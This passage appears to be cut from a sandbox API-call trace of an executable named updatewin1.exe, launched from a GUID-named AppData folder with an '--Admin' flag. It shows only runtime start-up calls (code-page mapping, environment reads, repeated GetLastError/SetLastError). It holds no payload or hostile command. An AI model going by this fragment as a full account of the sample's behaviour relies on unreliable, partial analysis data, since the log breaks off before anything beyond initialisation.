lpProcName="EncodePointer") returned 0x77170fcb [0094.101] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0094.101] GetCurrentThreadId () returned 0xae4 [0094.101] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0094.101] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x800) returned 0x1e909f0 [0094.101] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0094.101] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0094.101] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0094.101] SetHandleCount (uNumber=0x20) returned 0x20 [0094.102] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe\" --Admin" [0094.102] GetEnvironmentStringsW () returned 0x644e78* [0094.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0094.102] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x0, Size=0x565) returned 0x1e911f8 [0094.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1e911f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0094.102] FreeEnvironmentStringsW (penv=0x644e78) returned 1 [0094.102] GetLastError () returned 0x0 [0094.102] SetLastError (dwErrCode=0x0) [0094.102] GetLastError () returned 0x0 [0094.102] SetLastError (dwErrCode=0x0) [0094.102] GetLastError () returned 0x0 [0094.102] SetLastError (dwErrCode=0x0) [0094.102] GetACP () returned 0x4e4 [0094.102] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x0, Size=0x220) returned 0x1e91768 [0094.102] GetLastError () returned 0x0 [0094.103] SetLastError (dwErrCode=0x0) [0094.103] IsValidCodePage (CodePage=0x4e4) returned 1 [0094.103] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0094.103] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0094.103] GetLastError () returned 0x0 [0094.103] SetLastError (dwErrCode=0x0) [0094.103] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0094.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0094.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0094.103] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0094.103] GetLastError () returned 0x0 [0094.103] SetLastError (dwErrCode=0x0) [0094.103] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0094.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0094.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿŀვ㞕AĀ") returned 256 [0094.103] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿŀვ㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0094.103] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿŀვ㞕AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0094.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xdf\xad\x1f\x10\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0094.103] GetLastError () returned 0x0 [0094.103] SetLastError (dwErrCode=0x0) [0094.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0094.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿŀვ㞕AĀ") returned 256 [0094.103] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿŀვ㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0094.103] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿŀვ㞕AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0094.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xdf\xad\x1f\x10\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0094.104] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43a580, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe")) returned 0x5f [0094.104] GetLastError () returned 0x0 [0094.104] SetLastError (dwErrCode=0x0) [0094.104] GetLastError () returned 0x0 [0094.104] SetLastError (dwErrCode=0x0) [0094.104] GetLastError () returned 0x0 [0094.104] SetLastError (dwErrCode=0x0) [0094.104] GetLastError () returned 0x0 [0094.104] SetLastError (dwErrCode=0x0) [0094.104] GetLastError () returned 0x0 [0094.104] SetLastError (dwErrCode=0x0) [0094.104] GetLastError () returned 0x0 [0094.104] SetLastError (dwErrCode=0x0) [0094.104] GetLastError () returned 0x0 [0094.104] SetLastError (dwErrCode=0x0) [0094.104] GetLastError () returned 0x0 [0094.105] SetLastError (dwErrCode=0x0) [0094.105] GetLastError () returned 0x0 [0094.105] SetLastError (dwErrCode=0x0) [0094.105] GetLastError () returned 0x0 [0094.105] SetLastError (dwErrCode=0x0) [0094.105] GetLastError () returned 0x0 [0094.105] SetLastError (dwErrCode=0x0) [0094.105] GetLastError () returned 0x0 [0094.105] SetLastError (dwErrCode=0x0) [0094.105] GetLastError () returned 0x0 [0094.105] SetLastError (dwErrCode=0x0) [0094.105] GetLastError () returned 0x0 [0094.105] SetLastError (dwErrCode=0x0) [0094.105] GetLastError () returned 0x0 [0094.105] SetLastError (dwErrCode=0x0) [0094.105] GetLastError () returned 0x0 [0094.105] SetLastError (dwErrCode=0x0) [0094.105] GetLastError () returned 0x0 [0094.105] SetLastError (dwErrCode=0x0) [0094.105] GetLastError () returned 0x0 [0094.105] SetLastError (dwErrCode=0x0) [0094.105] GetLastError () returned 0x0 [0094.106] SetLastError (dwErrCode=0x0) [0094.106] GetLastError () returned 0x0 [0094.106] SetLastError (dwErrCode=0x0) [0094.106] GetLastError () returned 0x0 [0094.106] SetLastError (dwErrCode=0x0) [0094.106] GetLastError () returned 0x0 [0094.106] SetLastError (dwErrCode=0x0) [0094.106] GetLastError () returned 0x0 [0094.106] SetLastError (dwErrCode=0x0) [0094.106] GetLastError () returned 0x0 [0094.106] SetLastError (dwErrCode=0x0) [0094.106] GetLastError () returned 0x0 [0094.106] SetLastError (dwErrCode=0x0) [0094.106] GetLastError () returned 0x0 [0094.106] SetLastError (dwErrCode=0x0) [0094.106] GetLastError () returned 0x0 [0094.107] SetLastError (dwErrCode=0x0) [0094.107] GetLastError () returned 0x0 [0094.107] SetLastError (dwErrCode=0x0) [0094.107] GetLastError () returned 0x0 [0094.107] SetLastError (dwErrCode=0x0) [0094.107] GetLastError () returned 0x0 [0094.107] SetLastError (dwErrCode=0x0) [0094.107] GetLastError () returned 0x0 [0094.107] SetLastError (dwErrCode=0x0) [0094.107] GetLastError () returned 0x0 [0094.107] SetLastError (dwErrCode=0x0) [0094.107] GetLastError () returned 0x0 [0094.107] SetLastError (dwErrCode=0x0) [0094.107] GetLastError () returned 0x0 [0094.107] SetLastError (dwErrCode=0x0) [0094.107] GetLastError () returned 0x0 [0094.107] SetLastError (dwErrCode=0x0) [0094.107] GetLastError () returned 0x0 [0094.107] SetLastError (dwErrCode=0x0) [0094.107] GetLastError () returned 0x0 [0094.108] SetLastError (dwErrCode=0x0) [0094.108] GetLastError () returned 0x0 [0094.108] SetLastError (dwErrCode=0x0) [0094.108] GetLastError () returned 0x0 [0094.108] SetLastError (dwErrCode=0x0) [0094.108] GetLastError () returned 0x0 [0094.108] SetLastError (dwErrCode=0x0) [0094.108] GetLastError () returned 0x0 [0094.108] SetLastError (dwErrCode=0x0) [0094.108] GetLastError () returned 0x0 [0094.108] SetLastError (dwErrCode=0x0) [0094.108] GetLastError () returned 0x0 [0094.108] SetLastError (dwErrCode=0x0) [0094.108] GetLastError () returned 0x0 [0094.108] SetLastError (dwErrCode=0x0) [0094.108] GetLastError () returned 0x0 [0094.108] SetLastError (dwErrCode=0x0) [0094.108] GetLastError () returned 0x0 [0094.108] SetLastError (dwErrCode=0x0) [0094.108] GetLastError () returned 0x0 [0094.108] SetLastError (dwErrCode=0x0) [0094.108] GetLastError () returned 0x0 [0094.109] SetLastError (dwErrCode=0x0) [0094.109] GetLastError () returned 0x0 [0094.109] SetLastError 